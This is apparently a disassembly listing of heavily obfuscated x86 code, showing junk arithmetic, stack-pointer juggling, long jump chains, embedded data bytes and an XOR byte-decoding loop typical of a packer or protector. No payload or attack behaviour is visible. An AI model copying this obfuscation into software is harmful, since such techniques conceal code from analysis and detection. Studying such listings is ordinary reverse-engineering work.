loc_59910F:				; CODE XREF: sdfs____:0059936Bj
					; sdfs____:0059987Fj ...
		lodsb
		xor	al, bl
		jmp	loc_5A418D
; ---------------------------------------------------------------------------


loc_599117:				; CODE XREF: sdfs____:0059FB3Ej
		push	ebx
		mov	ebx, 6BCB7605h
		xor	edi, ebx
		pop	ebx
		neg	edi
		push	ebx
		mov	ebx, 85E747Dh
		sub	ebx, 75966A0Eh
		sub	ebx, 3CF6E031h
		xor	edi, ebx
		pop	ebx
		xor	edi, 5B0061A4h
		dec	edi
		xor	edi, 84A80D64h
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_5AB577
; ---------------------------------------------------------------------------


loc_59914E:				; CODE XREF: sdfs____:005A91D8j
		mov	esi, ebx
		pop	ebx
		inc	esi
		jle	loc_5A61B7
		add	esi, 24497642h
		js	loc_59B707
		shr	esi, 6
		jnp	loc_5A1304
		sub	esi, 470B5CBCh
		jp	loc_59D87B
		push	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A9823
; ---------------------------------------------------------------------------
		db 68h,	5Eh, 73h
		dd 14890000h, 7C19BA24h, 0E2812DCDh, 771953F0h,	0FEBB534Ah
		dd 812F26B7h, 78605BEAh, 81DA0111h, 78605BC2h, 241C8B11h
		dd 4C481h, 0D7290000h, 16047E9h, 0E9D4F600h, 2E45h
; ---------------------------------------------------------------------------


loc_5991DC:				; CODE XREF: sdfs____:005AA85Bj
		neg	edx
		add	edx, 9472086h
		mov	ebp, edx
		jmp	loc_5AFCBB
; ---------------------------------------------------------------------------


loc_5991EB:				; CODE XREF: sdfs____:005A4753j
		sub	ebx, 0F8CBD15Bh
		add	ecx, ebx
		jmp	loc_59C6D1
; ---------------------------------------------------------------------------


loc_5991F8:				; CODE XREF: sdfs____:005A82F7j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_5A8B19
; ---------------------------------------------------------------------------


loc_59920A:				; CODE XREF: sdfs____:005A5B22j
		sub	ebx, eax
		jmp	loc_5A2BDD
; ---------------------------------------------------------------------------


loc_599211:				; CODE XREF: sdfs____:00599D09j
					; sdfs____:005A9E4Bj
		sub	ch, 0DEh
		sub	al, ch
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_59D045
; ---------------------------------------------------------------------------


loc_599222:				; CODE XREF: sdfs____:005A16D0j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A1234
; ---------------------------------------------------------------------------


loc_59922D:				; CODE XREF: sdfs____:005A22CEj
		add	esp, 4
		xor	ebp, ecx
		jmp	loc_59E572
; ---------------------------------------------------------------------------


loc_599237:				; CODE XREF: sdfs____:005A1A25j
		jns	loc_59F0D5
		xor	cl, 94h
		push	edx
		mov	dl, 0Ch
		and	dl, 2
		jmp	loc_599D7F
; ---------------------------------------------------------------------------
		db 58h
; ---------------------------------------------------------------------------


loc_59924C:				; CODE XREF: sdfs____:0059B3A9j
		mov	[esp], ebx
		mov	bl, dh
		add	bl, 1
		mov	dh, bl
		jmp	loc_5ADEA3
; ---------------------------------------------------------------------------


loc_59925B:				; CODE XREF: sdfs____:005AD5C3j
		add	edx, ecx
		add	edx, 10366CD7h
		add	edx, 6F262C69h
		pop	ecx
		sub	edx, 0FFFFFFFFh
		push	edi
		jmp	loc_5AE379
; ---------------------------------------------------------------------------


loc_599276:				; CODE XREF: sdfs____:005A4982j
		xor	eax, ebx
		sub	esp, 4
		jmp	loc_5A4A68
; ---------------------------------------------------------------------------
aZS		db '‡<$éêÕ',0
		db 0
; ---------------------------------------------------------------------------


loc_59928B:				; CODE XREF: sdfs____:0059BD1Bj
		pop	ecx
		jmp	loc_59A833
; ---------------------------------------------------------------------------


loc_599291:				; CODE XREF: sdfs____:005AD6B3j
		pop	edx
		sub	al, 0D5h
		xchg	dl, al
		neg	dl
		jmp	loc_59C4F3
; ---------------------------------------------------------------------------


loc_59929D:				; CODE XREF: sdfs____:005A66B1j
		push	3EA5h
		mov	[esp], ecx
		push	edx
		mov	edx, 7E1C4765h
		add	[esp+4], edx
		pop	edx
		jmp	loc_59B411
; ---------------------------------------------------------------------------


loc_5992B5:				; CODE XREF: sdfs____:0059C414j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5997CF
; ---------------------------------------------------------------------------


loc_5992C7:				; CODE XREF: sdfs____:005997A3j
					; sdfs____:005A1E5Bj
		sub	edi, 0ABDDA18h
		sub	esi, edi
		pop	edi
		sub	edx, esi
		pop	esi
		mov	edi, edx
		jmp	loc_5ACEBB
; ---------------------------------------------------------------------------


loc_5992DA:				; CODE XREF: sdfs____:005A822Bj
		push	ebx
		mov	ebx, 4
		jmp	loc_59AB62
; ---------------------------------------------------------------------------
		db 29h,	74h, 24h
		dd 246C8108h, 0CE1F1608h, 4C295E30h, 44810424h,	22300424h
		dd 0BDE96667h, 520000C6h, 3547E953h, 35B40000h,	0F6BFEC80h
		dd 515AE9DCh, 1C330000h, 241C3124h, 5C241C33h, 24246850h
		dd 24890000h, 24048124h, 4, 8B2434FFh, 0E9572404h, 8B37h
		dd 0EA81DAF7h, 78228515h, 515AD301h, 0D266E9h
		db 0
; ---------------------------------------------------------------------------


loc_59934D:				; CODE XREF: sdfs____:005A39BCj
		pop	edx
		jmp	loc_5A2166
; ---------------------------------------------------------------------------


loc_599353:				; CODE XREF: sdfs____:0059CFA7j
		pop	ecx
		dec	ecx
		jle	loc_5A82CE
		jmp	loc_5A12D6
; ---------------------------------------------------------------------------


loc_599360:				; CODE XREF: sdfs____:005ACA8Ej
					; DATA XREF: sdfs____:00598F1Co
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_599370:				; CODE XREF: sdfs____:005AF523j
		shr	eax, 8
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], edx
		xchg	edx, [esp]
		jmp	loc_59F5EE
; ---------------------------------------------------------------------------


loc_599392:				; CODE XREF: sdfs____:005A4C4Ej
		add	esi, edx
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_599CC6
; ---------------------------------------------------------------------------


loc_5993C7:				; CODE XREF: sdfs____:0059E301j
					; sdfs____:005A3515j
		shl	ebp, 1
		or	ebp, 341212B4h
		push	ebx
		mov	ebx, 565F67CEh
		xor	ebx, 366A7A50h
		xor	ebp, ebx
		pop	ebx
		sub	ebp, 0D799D508h
		jmp	loc_5ADF77
; ---------------------------------------------------------------------------


loc_5993E9:				; CODE XREF: sdfs____:005AF266j
		pop	eax
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		mov	ax, [esp]
		push	ebp
		push	esp
		jmp	loc_5A2C7E
; ---------------------------------------------------------------------------


loc_5993FC:				; CODE XREF: sdfs____:0059A34Bj
		add	esp, 4
		push	esi
		push	2
		jmp	loc_5A2878
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 2Ch
		dd 0C169EB55h, 0EB8102E3h, 1, 48BEB81h,	0C7812000h, 70D85396h
		dd 0EC83DF01h, 24348904h, 4D7ADABEh, 0FAB85059h, 0C146C23Bh
		dd 2D4808E8h, 88D57028h, 0F758C631h, 2DC0E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59944E:				; CODE XREF: sdfs____:0059AD58j
					; sdfs____:005AF7C9j
		sub	edi, 424A1BCBh
		jmp	loc_5A1F21
; ---------------------------------------------------------------------------


loc_599459:				; CODE XREF: sdfs____:005A30E6j
		and	eax, 415E0398h
		sub	eax, 6E194F8Bh
		push	esi
		push	eax
		jmp	loc_5A6B45
; ---------------------------------------------------------------------------


loc_59946A:				; CODE XREF: sdfs____:0059D34Fj
		add	esp, 4
		add	ch, al
		jmp	loc_5A1EAA
; ---------------------------------------------------------------------------


loc_599477:				; CODE XREF: sdfs____:005A3376j
		pop	ecx
		sub	dh, al
		sub	dh, 0D0h
		jmp	loc_59D2A7
; ---------------------------------------------------------------------------


loc_599482:				; CODE XREF: sdfs____:005B01BFj
		add	edi, ebx
		pop	ebx
		add	edi, esi
		sub	edi, 5B1309CAh
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 214A2770h
		sub	edi, eax
		add	edi, 214A2770h
		push	ebx
		mov	ebx, 1C515E11h
		add	ebx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 1D7276ADh
		add	ebp, 0CE3665BCh
		add	ebx, ebp
		pop	ebp
		sub	edi, ebx
		mov	ebx, [esp]
		jmp	loc_5A41A4
; ---------------------------------------------------------------------------


loc_5994C3:				; CODE XREF: sdfs____:005A6292j
		dec	eax
		jno	loc_5AB902
		dec	eax
		add	eax, 5BFF4F35h
		jmp	loc_5A3B6F
; ---------------------------------------------------------------------------


loc_5994D5:				; CODE XREF: sdfs____:005AF542j
		mov	edi, ebx
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_59BF74
; ---------------------------------------------------------------------------


loc_5994F7:				; CODE XREF: sdfs____:0059CC1Cj
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		add	[esp+4], ebx
		pop	ebx
		jmp	loc_5AC8BC
; ---------------------------------------------------------------------------


loc_599509:				; CODE XREF: sdfs____:loc_5A92B2j
					; sdfs____:005AA706j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	51C6h
		jmp	loc_59DBA3
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 5D04246Ch,	8993E9h
		db 0
; ---------------------------------------------------------------------------


loc_599535:				; CODE XREF: sdfs____:0059CBBFj
		mov	[esp], edx
		jmp	loc_5A5BF7
; ---------------------------------------------------------------------------


loc_59953D:				; CODE XREF: sdfs____:005ACC84j
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_59E642
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		mov	esi, esp
		push	102Bh
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		mov	ecx, [esp]
		jmp	loc_5AE40A
; ---------------------------------------------------------------------------
dword_599574	dd 0FF2434FFh, 148B2434h, 9CEE924h		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599582:				; CODE XREF: sdfs____:005A96CCj
		not	bh
		add	bh, 0EEh
		jmp	loc_599F29
; ---------------------------------------------------------------------------


loc_59958C:				; CODE XREF: sdfs____:0059F98Ej
		mov	ebp, edi
		pop	edi
		sub	ebp, edi
		pop	edi
		jmp	loc_5A9521
; ---------------------------------------------------------------------------
		db 2Dh
		dd 58F71C6Dh, 0D5B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5995A1:				; CODE XREF: sdfs____:0059E232j
					; sdfs____:005A428Aj
		shl	edi, 4
		shl	edi, 7
		sub	edi, 509607FCh
		add	edx, edi
		pop	edi
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_59E88F
; ---------------------------------------------------------------------------


loc_5995C2:				; CODE XREF: sdfs____:005AA8F5j
		push	esp
		pop	edx
		push	edi
		mov	edi, 4865641Eh
		not	edi
		jmp	loc_5A09CB
; ---------------------------------------------------------------------------
byte_5995D1	db 66h,	8Bh, 0Ch	; DATA XREF: sdfs____:005990B8o
aH6f		db '$h6f',0
		align 2
		dw 3489h
		dd 69FA6824h, 24890000h, 3BE95524h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5995EB:				; CODE XREF: sdfs____:0059F7ADj
		mov	esi, 793B32FBh
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		neg	esi
		xor	esi, 793B32F8h
		add	ebp, esi
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	esi
		push	4
		pop	esi
		jmp	loc_5ACA9E
; ---------------------------------------------------------------------------
word_59961A	dw 83ADh		; DATA XREF: sdfs____:00599004o
		dd 0C8904ECh, 0D1BD5524h, 813C2054h, 0F8DCCEEDh, 5DE989EEh
		dd 30D068h, 24348900h, 802845BEh, 0BE565122h, 6C406510h
		dd 2A33E9h
		db 0
; ---------------------------------------------------------------------------


loc_599649:				; CODE XREF: sdfs____:005ACA6Cj
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_599CCD
; ---------------------------------------------------------------------------


loc_599656:				; CODE XREF: sdfs____:005AEB00j
		mov	esp, [esp]
		jmp	loc_5AE58B
; ---------------------------------------------------------------------------


loc_59965E:				; CODE XREF: sdfs____:005AFA07j
		pop	ecx
		jmp	loc_5A5824
; ---------------------------------------------------------------------------


loc_599664:				; CODE XREF: sdfs____:005A6861j
		push	bx
		push	small word ptr [esp+2]
		pop	bx
		jmp	loc_5AA8FA
; ---------------------------------------------------------------------------


loc_599672:				; CODE XREF: sdfs____:loc_5AAE97j
		dec	esi
		sub	esi, 11EF3B85h
		shl	esi, 4
		jmp	loc_599854
; ---------------------------------------------------------------------------


loc_599681:				; CODE XREF: sdfs____:005A9CA9j
		mov	[esp], eax
		jmp	loc_5A16D5
; ---------------------------------------------------------------------------


loc_599689:				; CODE XREF: sdfs____:005A73DFj
		pop	edx
		jmp	loc_59C9C6
; ---------------------------------------------------------------------------


loc_59968F:				; CODE XREF: sdfs____:005A45FDj
		xor	eax, 5092D7E4h
		mov	ebp, eax
		pop	eax
		jmp	loc_59AF45
; ---------------------------------------------------------------------------


loc_59969C:				; CODE XREF: sdfs____:005AE3C2j
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A66A4
; ---------------------------------------------------------------------------


loc_5996B1:				; CODE XREF: sdfs____:005AFFF0j
		add	edx, ecx
		sub	edx, 383615C4h
		pop	ecx
		push	esi
		mov	esi, 4
		jmp	loc_5A6E0F
; ---------------------------------------------------------------------------


loc_5996C5:				; CODE XREF: sdfs____:0059C537j
		mov	ax, [esp]
		jmp	loc_5ABE0D
; ---------------------------------------------------------------------------


loc_5996CE:				; CODE XREF: sdfs____:005A9B53j
		pop	esp
		mov	[esp], ecx
		mov	ch, dl
		jmp	loc_5AECD2
; ---------------------------------------------------------------------------


loc_5996D9:				; CODE XREF: sdfs____:005A9E20j
		sub	bl, dh
		mov	dx, [esp]
		jmp	loc_5AD6BD
; ---------------------------------------------------------------------------


loc_5996E4:				; CODE XREF: sdfs____:005A40B6j
		sub	esp, 4
		jmp	loc_5AFA31
; ---------------------------------------------------------------------------


loc_5996EC:				; CODE XREF: sdfs____:0059EB34j
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	646Fh
		mov	[esp], ebp
		push	0C86h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	4F07h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 6D4948h
		push	ebp
		mov	ebp, 2FD339D1h
		shr	ebp, 5
		inc	ebp
		inc	ebp
		shl	ebp, 7
		jmp	loc_5ADF08
; ---------------------------------------------------------------------------
byte_599739	db 66h,	68h, 57h	; DATA XREF: sdfs____:00598E60o
		dd 65686640h, 24896611h, 4816624h, 66000224h, 6624048Fh
		dd 4EC8153h, 89000000h,	3C68242Ch, 89000072h, 0BE662434h
		dd 0BD666A01h, 45663669h, 6EED8166h, 0D5F7667Ch, 0FDF58166h
		dd 0BF6657D8h, 81667C3Ah, 662C34CFh, 0D166D7F7h, 0EFC166EFh
		dd 366EE908h, 0E9610001h, 44AAh
; ---------------------------------------------------------------------------


loc_599798:				; CODE XREF: sdfs____:005A04DCj
		sub	edx, 60DC5EBFh
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_5992C7
; ---------------------------------------------------------------------------
aFlSV		db 'f‹$$é~V',0          ; DATA XREF: sdfs____:00598FF0o
		db 0
; ---------------------------------------------------------------------------


loc_5997B1:				; CODE XREF: sdfs____:005A81DAj
		add	esp, 4
		push	ecx
		mov	ch, 46h
		push	ebx
		jmp	loc_59AA81
; ---------------------------------------------------------------------------
		db 80h,	0E9h, 93h
		dd 12060E9h
		db 0
; ---------------------------------------------------------------------------


loc_5997C5:				; CODE XREF: sdfs____:005A0CD4j
		push	4
		jmp	loc_59D475
; ---------------------------------------------------------------------------


loc_5997CF:				; CODE XREF: sdfs____:005992C2j
		mov	eax, 3C6D144Bh
		and	eax, 75E51675h
		jmp	loc_5A9079
; ---------------------------------------------------------------------------
		dd offset aPM7fI4J	; "ÔšÃÓP»¶Œ7F[[‰4$j"
		db 0
; ---------------------------------------------------------------------------


loc_5997E3:				; CODE XREF: sdfs____:005ACDB5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	esi
		push	ebx
		jmp	loc_59C272
; ---------------------------------------------------------------------------


loc_5997FD:				; CODE XREF: sdfs____:005A7440j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2A8E4355h
		jmp	loc_59E051
; ---------------------------------------------------------------------------
		db 80h,	0C7h, 0EDh
		dd 305BFC88h, 0C1E959CCh
		db 54h,	1, 0
; ---------------------------------------------------------------------------


loc_59981B:				; CODE XREF: sdfs____:005A0E37j
		xor	ebx, 4221745h
		jbe	loc_5A53BD
		jmp	loc_5A9A9A
; ---------------------------------------------------------------------------
		dd 4EC81h, 0C890000h, 6AD3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59983A:				; CODE XREF: sdfs____:0059E9C3j
		or	ecx, 1FCE5B53h
		push	ebx
		mov	ebx, 64BE32B9h
		shl	ebx, 8
		sub	ebx, 4B9469DAh
		jmp	loc_59BB9D
; ---------------------------------------------------------------------------


loc_599854:				; CODE XREF: sdfs____:0059967Cj
		jmp	loc_59B9B2
; ---------------------------------------------------------------------------
byte_599859	db 0F7h, 1Ch, 24h	; DATA XREF: sdfs____:00598F84o
		dd 0F8ADE99Ch, 0C381FFFFh, 0A6ECEE67h, 315BDF29h, 6560E9F9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599872:				; CODE XREF: sdfs____:0059FB6Ej
		xchg	esi, [esp]
		jmp	loc_59DDE9
; ---------------------------------------------------------------------------


loc_59987A:				; CODE XREF: sdfs____:0059A70Cj
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_599884:				; CODE XREF: sdfs____:0059C95Aj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59D79B
; ---------------------------------------------------------------------------


loc_599892:				; CODE XREF: sdfs____:005AEFC5j
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59AD11
; ---------------------------------------------------------------------------
byte_5998AD	db 66h,	8Bh, 4		; DATA XREF: sdfs____:00598F80o
aHE		db '$h³e',0
		align 2
aIHo8		db '‰<$h®8',0
		align 2
		dw 2489h
		dd 1AA5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5998C6:				; CODE XREF: sdfs____:0059C7C5j
		mov	eax, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5A57B2
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0E95004C4h, 4DBAh
; ---------------------------------------------------------------------------


loc_5998E4:				; CODE XREF: sdfs____:005A2865j
		inc	edi
		jmp	loc_5A5DC3
; ---------------------------------------------------------------------------


loc_5998EA:				; CODE XREF: sdfs____:005A6909j
		sub	al, ch
		push	dword ptr [esp]
		jmp	loc_5A6587
; ---------------------------------------------------------------------------


loc_5998F4:				; CODE XREF: sdfs____:005A1FA8j
		mov	esp, [esp]
		dec	word ptr [esp]
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
aLSwj		db '‹$$éW¦',0
		align 4


loc_59990C:				; CODE XREF: sdfs____:005A620Fj
		inc	ebx
		push	ecx
		mov	ecx, 454F318Eh
		and	ebx, ecx
		pop	ecx
		shr	ebx, 5
		xor	ebx, 0FFDDB67Fh
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp


loc_59993B:				; CODE XREF: sdfs____:005A837Ej
		push	ebx
		push	eax
		push	ecx
		mov	ecx, 0FF25AFAh
		push	esi
		mov	esi, 77F93ECAh
		shr	esi, 8
		xor	esi, 6BF33A33h
		jmp	loc_5B038C
; ---------------------------------------------------------------------------
		db 31h
		dd 5DE92404h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59995F:				; CODE XREF: sdfs____:005AAD92j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59B5E8
; ---------------------------------------------------------------------------
		dd 380FED81h, 0DD0132F4h, 380FC581h, 15B32F4h, 9DED81F5h
		dd 0FF3BA408h, 348B2434h, 0F02E924h, 0C3810000h, 4, 823EE9h
		db 0
; ---------------------------------------------------------------------------


loc_599999:				; CODE XREF: sdfs____:loc_5A701Bj
		neg	edx
		jmp	loc_5A8766
; ---------------------------------------------------------------------------


loc_5999A0:				; CODE XREF: sdfs____:005A874Bj
		add	ebp, 4
		jmp	loc_5A15AA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8953243Ch, 4C381E3h,	83000000h, 1C8704C3h, 57E95C24h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5999C3:				; CODE XREF: sdfs____:0059A9D7j
		mov	ebx, 31356F47h
		xchg	edx, ebx
		not	edx
		push	ebx
		push	edx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		neg	ebx
		jnz	loc_5A9B64
		dec	ebx
		jno	loc_59FFF2
		jz	loc_5ABC8A
		mov	ah, ch


loc_5999EF:				; CODE XREF: sdfs____:005A3AFBj
		push	esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_59C773
; ---------------------------------------------------------------------------
		db 0F7h, 0D0h, 0E9h
		dd 1248Dh
; ---------------------------------------------------------------------------


loc_599A04:				; CODE XREF: sdfs____:005A651Fj
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_59DAB3
; ---------------------------------------------------------------------------
		db 0BEh
		dd 198014F0h, 2865E9h, 0E28100h, 0E970D70Ch, 0D8Bh
; ---------------------------------------------------------------------------


loc_599A24:				; CODE XREF: sdfs____:loc_5A9F0Dj
		inc	ecx
		sub	ecx, 426B43E2h
		ja	loc_5A94A2
		jmp	loc_5B0293
; ---------------------------------------------------------------------------
		dw 8B49h
		db 0EBh, 0B0h, 6Eh
; ---------------------------------------------------------------------------


loc_599A3B:				; CODE XREF: sdfs____:0059A4D4j
		add	esp, 4
		jmp	loc_5AB074
; ---------------------------------------------------------------------------


loc_599A46:				; CODE XREF: sdfs____:005A323Fj
		pop	esi
		add	edi, ebx
		sub	edi, 37883E29h
		pop	ebx
		jmp	loc_5A3114
; ---------------------------------------------------------------------------


loc_599A55:				; CODE XREF: sdfs____:0059E737j
		xor	ecx, 6A913608h
		push	ebx
		jmp	loc_59E44D
; ---------------------------------------------------------------------------


loc_599A61:				; CODE XREF: sdfs____:005A72FDj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A2F7F
; ---------------------------------------------------------------------------
byte_599A6F	db 0ACh			; DATA XREF: sdfs____:00598F6Co
		dd 4EC81h, 9EE90000h, 81000029h, 1000B8F1h, 9FC1814Ah
		dd 8121F63Dh, 2A72B8F1h, 0EAC18135h, 114EC32h, 0EE8159CEh
		dd 378E44DCh, 43E9E9h, 4C48100h, 87000000h, 248B242Ch
		dd 54E95324h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599AB3:				; CODE XREF: sdfs____:0059D094j
		sub	ecx, 7F7C14F9h
		mov	eax, ecx
		pop	ecx
		jmp	loc_5AA0CD
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 34h
		dd 5F567114h, 0E58DE9h
		db 0
; ---------------------------------------------------------------------------


loc_599ACD:				; CODE XREF: sdfs____:0059BA74j
		shr	esi, 6
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 98DCA010h
		mov	ebx, edi
		pop	edi
		sub	esi, ebx
		pop	ebx
		not	esi
		push	ebp
		jmp	loc_59B122
; ---------------------------------------------------------------------------
		db 0BBh
		dd 206E050Dh, 59EBEB81h, 43437CD2h, 962FF381h, 81E99D31h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_599B07:				; CODE XREF: sdfs____:005AEBFCj
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		pop	eax
		jmp	loc_5A26FE
; ---------------------------------------------------------------------------
		dd 68242430h, 7FC8h, 88241C89h,	2EC81E7h, 66000000h, 0E9241C89h
		dd 744Fh, 81C3295Ah, 0A4DABEBh,	1E94E94Fh, 7ABE0001h, 815E901Fh
		dd 4ECh, 24048900h, 0D1709BB8h,	0E413E947h, 14890000h
		dd 86EBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599B5E:				; CODE XREF: sdfs____:005A8E1Dj
		mov	[esp], ebx
		jmp	loc_5A61A0
; ---------------------------------------------------------------------------


loc_599B66:				; CODE XREF: sdfs____:005A61C6j
		sub	esi, 470B5CBCh
		jmp	loc_5AB676
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 2
		dd 31241C33h, 1C33241Ch, 9D9CE924h, 3C870000h, 1C895C24h
		dd 4C4CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599B8E:				; CODE XREF: sdfs____:005AF176j
		pop	ecx
		mov	eax, edx
		mov	edx, [esp]
		push	ebx
		jmp	loc_5A93C3
; ---------------------------------------------------------------------------


loc_599B9A:				; CODE XREF: sdfs____:005A9A8Aj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A2F44
; ---------------------------------------------------------------------------


loc_599BA8:				; CODE XREF: sdfs____:005A775Dj
		pop	edx
		add	eax, ebp
		push	ebx
		mov	ebx, 64867105h
		xor	ebx, 32F6672Bh
		add	ebx, 60DC10F8h
		sub	ebx, 8567B5Eh
		dec	ebx
		neg	ebx
		xor	ebx, 68483476h
		add	eax, 17E35273h
		add	eax, ebx
		sub	eax, 17E35273h
		jmp	loc_5A659F
; ---------------------------------------------------------------------------


loc_599BDD:				; CODE XREF: sdfs____:005A21ADj
		xor	ebp, 0F894CB51h
		mov	edx, ebp
		jmp	loc_5A2FA8
; ---------------------------------------------------------------------------


loc_599BEA:				; CODE XREF: sdfs____:005A7741j
		pop	esp
		xor	edi, 6FDE1044h
		jmp	loc_5AC490
; ---------------------------------------------------------------------------


loc_599BF6:				; CODE XREF: sdfs____:0059F9B0j
		mov	esi, 7A5924F0h
		jmp	loc_5AE02F
; ---------------------------------------------------------------------------


loc_599C00:				; CODE XREF: sdfs____:005A07AEj
		add	eax, edi
		jmp	loc_5A580F
; ---------------------------------------------------------------------------


loc_599C07:				; CODE XREF: sdfs____:0059DCF5j
		shr	edx, 5
		xor	edx, 0AEE5233h
		sub	esi, edx
		pop	edx
		push	6E5Dh
		mov	[esp], ebx
		mov	ebx, 326D64B2h
		inc	ebx
		dec	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 139C2B1Dh
		dec	edx
		or	edx, 2A07EDBh
		push	ebx
		mov	ebx, 97C314Bh
		jmp	loc_5A150B
; ---------------------------------------------------------------------------
		db 52h
		dd offset dword_44B1A4+4645h
		db 0
; ---------------------------------------------------------------------------


loc_599C45:				; CODE XREF: sdfs____:005A008Fj
		push	eax
		mov	al, 0A4h
		push	ecx
		mov	cl, 0F6h
		xor	cl, 1Fh
		shl	cl, 7
		dec	cl
		xor	cl, 0C9h
		or	al, cl
		jmp	loc_5AA25F
; ---------------------------------------------------------------------------
		db 81h,	0F6h, 63h
		dd 81176066h, 0A92A34F6h, 0A8E953EAh
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599C6F:				; CODE XREF: sdfs____:005AFC9Dj
		shr	edx, 6
		jp	loc_5AF1AB
		sub	edx, 0C1880FC6h
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	205Fh
		mov	[esp], ebp
		mov	ebp, 50C574C4h
		jmp	loc_5A4922
; ---------------------------------------------------------------------------


loc_599C9B:				; CODE XREF: sdfs____:0059BD15j
		push	ebp
		push	ebx
		jmp	loc_5A507A
; ---------------------------------------------------------------------------


loc_599CA2:				; CODE XREF: sdfs____:005AF2BCj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_599CAB:				; CODE XREF: sdfs____:loc_5AEDB7j
		sub	edx, 0A365839Ah
		push	edx
		pop	eax
		pop	edx
		jmp	loc_5A6524
; ---------------------------------------------------------------------------


loc_599CB9:				; CODE XREF: sdfs____:005A7C16j
		add	ecx, 409B2FFFh
		add	ecx, edx
		jmp	loc_5A99F6
